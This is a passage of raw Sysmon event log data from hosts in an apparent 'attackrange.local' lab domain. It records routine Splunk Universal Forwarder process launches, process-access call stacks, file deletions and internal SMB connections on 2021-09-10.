Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000046936Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:17.513{7BD73061-706D-613B-060B-00000000F001}5624C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe8.0.2Network monitorSplunk ApplicationSplunk Inc.splunk-netmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AEC{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000046935Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:17.356{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=22E8022476633900B079BD54AD5AC165,SHA256=026B5A8E7B98E18F415411FE091FEC23FD3E610A5332F221025C8530B1B14295,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014715Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:18.792{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=37E182F8A8AF44E7ACBFDE261DEF1D99,SHA256=DE3533C13C42E6C7005B594E875DBBA33919F84FAD4DCE1A1C9AEF7184B0622A,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000046965Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:18.887{7BD73061-706E-613B-080B-00000000F001}61561332C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6025c5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6020f6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+59e67|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+5b88c|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+8e7d70|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046964Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:18.684{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-706E-613B-080B-00000000F001}6156C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046963Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:18.684{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046962Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:18.684{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046961Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:18.684{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046960Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:18.684{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046959Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:18.684{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-706E-613B-080B-00000000F001}6156C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000046958Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:18.684{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-706E-613B-080B-00000000F001}6156C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000046957Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:18.685{7BD73061-706E-613B-080B-00000000F001}6156C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe8.0.2Active Directory monitorsplunk ApplicationSplunk Inc.splunk-admon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000046956Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:18.527{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=B533A577B5CF90FE406728A3194680B0,SHA256=73E5DD88409B0F60787583FDCB4F3B238B2492585823E54436939089A9F562BC,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046955Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:18.527{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=D3CB2EB58D44EAB07268D885ADB0FA66,SHA256=86FE828C8E4CFDC5DD72146F885B0B498BD0E3BB414CF15BEBFD6DF4AC280F88,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046954Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:18.387{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=DB4613B13D0B44FD0F5B17B4A813C403,SHA256=1E7A82FCC313D03908CCE2556CF92027DE0500106DEEA94B15F41D78598079B3,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000046953Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:15.625{7BD73061-65AD-613B-0100-00000000F001}4SystemNT AUTHORITY\SYSTEMtcpfalsetruefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local59361-truefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local445microsoft-ds 354300x800000000000000046952Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:15.625{7BD73061-65AD-613B-0100-00000000F001}4SystemNT AUTHORITY\SYSTEMtcptruetruefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local59361-truefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local445microsoft-ds 10341000x800000000000000046951Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:18.184{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-706E-613B-070B-00000000F001}6444C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046950Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:18.184{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046949Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:18.184{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046948Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:18.184{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046947Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:18.184{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046946Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:18.184{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-706E-613B-070B-00000000F001}6444C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000046945Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:18.184{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-706E-613B-070B-00000000F001}6444C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000046944Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:18.184{7BD73061-706E-613B-070B-00000000F001}6444C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe10.0.10011.16384SplunkMonNoHandle Control ProgramWindows (R) Win 7 DDK driverWindows (R) Win 7 DDK providerSplunkMonNoHandle.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000046976Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:19.731{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=B533A577B5CF90FE406728A3194680B0,SHA256=73E5DD88409B0F60787583FDCB4F3B238B2492585823E54436939089A9F562BC,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000046975Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:19.715{7BD73061-706F-613B-090B-00000000F001}71201640C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046974Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:19.512{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-706F-613B-090B-00000000F001}7120C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046973Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:19.512{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046972Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:19.512{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046971Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:19.512{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046970Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 